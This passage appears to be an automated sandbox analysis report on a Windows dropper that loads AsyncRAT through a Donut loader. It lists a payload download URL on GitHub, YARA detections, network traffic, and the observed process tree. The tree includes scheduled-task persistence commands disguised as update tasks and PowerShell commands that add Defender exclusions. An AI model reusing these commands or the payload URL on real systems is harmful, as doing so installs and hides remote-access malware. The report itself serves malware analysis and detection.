Source: sihost.exe, 00000012.00000002.2304218834.000002439971B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binioC:
Source: sihost.exe, 00000004.00000003.1740805597.0000023D3BF4C000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000003.2296836323.0000024399722000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ED5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binonicleaks/z/main/payload%20(3).
Source: sihost.exe, 00000020.00000002.2862417635.000001E01ED5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binthC:
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BEC7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).binz
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49745 version: TLS 1.2

Operating System Destruction
barindex
Protects its processes via BreakOnTermination flag
Source: C:\Windows\explorer.exe Process information set: 01 00 00 00 Jump to behavior

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 7.2.explorer.exe.2c0cda8.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 19.2.explorer.exe.2d20000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 7.2.explorer.exe.1b4d0000.1.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 19.2.explorer.exe.2e1cdf8.1.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.explorer.exe.2a80000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 33.2.explorer.exe.213cdf8.1.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 33.2.explorer.exe.1f70000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000021.00000002.2939100581.0000000001F70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000002.1775975991.0000023D3DC29000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000021.00000002.2938171700.0000000000100000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000001.00000002.2961968825.0000000002A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000001.00000002.2959849968.0000000000E10000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.1714362326.0000019396D29000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000007.00000002.1816282481.0000000000D60000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000012.00000002.2305138237.000002439B3A9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000013.00000002.2337538949.0000000002D20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000013.00000002.2336610366.0000000001020000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000007.00000002.1817047658.000000001B4D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000013.00000002.2337628675.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000020.00000002.2862773898.000001E0209D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000007.00000002.1816879305.0000000002C01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000021.00000002.2939405121.0000000002131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Detected potential crypto function
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D43317F0 0_2_00007FF6D43317F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D43358D0 0_2_00007FF6D43358D0
Source: C:\Windows\explorer.exe Code function: 1_2_00E2039C 1_2_00E2039C
Source: C:\Windows\explorer.exe Code function: 1_2_00E20778 1_2_00E20778
Source: C:\Windows\explorer.exe Code function: 1_2_00E1F4C0 1_2_00E1F4C0
Source: C:\Windows\explorer.exe Code function: 1_2_00E20BA8 1_2_00E20BA8
Source: C:\Windows\explorer.exe Code function: 1_2_00E23E54 1_2_00E23E54
Source: C:\Windows\explorer.exe Code function: 1_2_00E2165C 1_2_00E2165C
Source: C:\Windows\explorer.exe Code function: 1_2_00007FFD9B940D28 1_2_00007FFD9B940D28
Source: C:\Windows\explorer.exe Code function: 1_2_00007FFD9B940D30 1_2_00007FFD9B940D30
Source: C:\Windows\explorer.exe Code function: 1_2_00007FFD9B941239 1_2_00007FFD9B941239
Source: C:\Windows\explorer.exe Code function: 1_2_00007FFD9B941BB5 1_2_00007FFD9B941BB5
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Code function: 4_2_00007FF699B017F0 4_2_00007FF699B017F0
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Code function: 4_2_00007FF699B058D0 4_2_00007FF699B058D0
Source: C:\Windows\explorer.exe Code function: 7_2_00D7039C 7_2_00D7039C
Source: C:\Windows\explorer.exe Code function: 7_2_00D70778 7_2_00D70778
Source: C:\Windows\explorer.exe Code function: 7_2_00D6F4C0 7_2_00D6F4C0
Source: C:\Windows\explorer.exe Code function: 7_2_00D70BA8 7_2_00D70BA8
Source: C:\Windows\explorer.exe Code function: 7_2_00D73E54 7_2_00D73E54
Source: C:\Windows\explorer.exe Code function: 7_2_00D7165C 7_2_00D7165C
Source: C:\Windows\explorer.exe Code function: 7_2_00007FFD9B951239 7_2_00007FFD9B951239
Source: C:\Windows\explorer.exe Code function: 7_2_00007FFD9B951BB5 7_2_00007FFD9B951BB5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_00007FFD9B982E11 14_2_00007FFD9B982E11
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_00007FFD9B9730E9 16_2_00007FFD9B9730E9
Source: C:\Windows\explorer.exe Code function: 19_2_01030778 19_2_01030778
Source: C:\Windows\explorer.exe Code function: 19_2_0103039C 19_2_0103039C
Source: C:\Windows\explorer.exe Code function: 19_2_01033E54 19_2_01033E54
Source: C:\Windows\explorer.exe Code function: 19_2_0103165C 19_2_0103165C
Source: C:\Windows\explorer.exe Code function: 19_2_01030BA8 19_2_01030BA8
Source: C:\Windows\explorer.exe Code function: 19_2_0102F4C0 19_2_0102F4C0
Source: C:\Windows\explorer.exe Code function: 19_2_00007FFD9B931BB5 19_2_00007FFD9B931BB5
Source: C:\Windows\explorer.exe Code function: 19_2_00007FFD9B931239 19_2_00007FFD9B931239
Source: C:\Windows\explorer.exe Code function: 33_2_00110778 33_2_00110778
Source: C:\Windows\explorer.exe Code function: 33_2_0011039C 33_2_0011039C
Source: C:\Windows\explorer.exe Code function: 33_2_00113E54 33_2_00113E54
Source: C:\Windows\explorer.exe Code function: 33_2_0011165C 33_2_0011165C
Source: C:\Windows\explorer.exe Code function: 33_2_00110BA8 33_2_00110BA8
Source: C:\Windows\explorer.exe Code function: 33_2_0010F4C0 33_2_0010F4C0
Source: C:\Windows\explorer.exe Code function: 33_2_00007FFD9B951239 33_2_00007FFD9B951239
Source: C:\Windows\explorer.exe Code function: 33_2_00007FFD9B951BB5 33_2_00007FFD9B951BB5
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\svnchost.exe 5C6A56B62949B563E64F7F8AC15ECAA13F435EF767F98DCC7D9EDEB68AA3D690
PE file contains more sections than normal
Source: sihost.exe.0.dr Static PE information: Number of sections : 11 > 10
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: Number of sections : 11 > 10
Yara signature match
Source: 7.2.explorer.exe.2c0cda8.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 19.2.explorer.exe.2d20000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 7.2.explorer.exe.1b4d0000.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 19.2.explorer.exe.2e1cdf8.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.explorer.exe.2a80000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 33.2.explorer.exe.213cdf8.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 33.2.explorer.exe.1f70000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000021.00000002.2939100581.0000000001F70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000002.1775975991.0000023D3DC29000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000021.00000002.2938171700.0000000000100000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000001.00000002.2961968825.0000000002A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000001.00000002.2959849968.0000000000E10000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.1714362326.0000019396D29000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000007.00000002.1816282481.0000000000D60000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000012.00000002.2305138237.000002439B3A9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000013.00000002.2337538949.0000000002D20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000013.00000002.2336610366.0000000001020000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000007.00000002.1817047658.000000001B4D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000013.00000002.2337628675.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000020.00000002.2862773898.000001E0209D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000007.00000002.1816879305.0000000002C01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000021.00000002.2939405121.0000000002131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, 4I6EXwQECLj.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, 4I6EXwQECLj.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, 4I6EXwQECLj.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, 4I6EXwQECLj.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, EkyJsjgLqdm.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, PBt6pVs0ftw.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.evad.winEXE@38/23@3/3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\payload%20(3)[1].bin Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7024:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6928:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3636:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe File created: C:\Users\user\AppData\Local\Temp\sihost.exe Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\System32\schtasks.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\System32\conhost.exe Process created: C:\Windows\explorer.exe
Source: unknown Process created: C:\Windows\explorer.exe
Source: unknown Process created: C:\Windows\explorer.exe
Source: unknown Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe
Source: unknown Process created: C:\Windows\explorer.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\explorer.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe ReversingLabs: Detection: 34%
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Virustotal: Detection: 52%
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe File read: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn Windows-Update-Manager /tr 'C:\Users\user\AppData\Local\Temp\sihost.exe' /sc minute /mo 1 /st 00:01 /f
Source: C:\Windows\System32\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\sihost.exe C:\Users\user\AppData\Local\Temp\sihost.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\explorer.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\schtasks.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svnchost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svnchost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\sihost.exe C:\Users\user\AppData\Local\Temp\sihost.exe
Source: C:\Windows\System32\conhost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svnchost" /tr "C:\Users\user\AppData\Local\Temp\svnchost.exe"
Source: C:\Windows\System32\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\svnchost.exe C:\Users\user\AppData\Local\Temp\svnchost.exe
Source: unknown Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
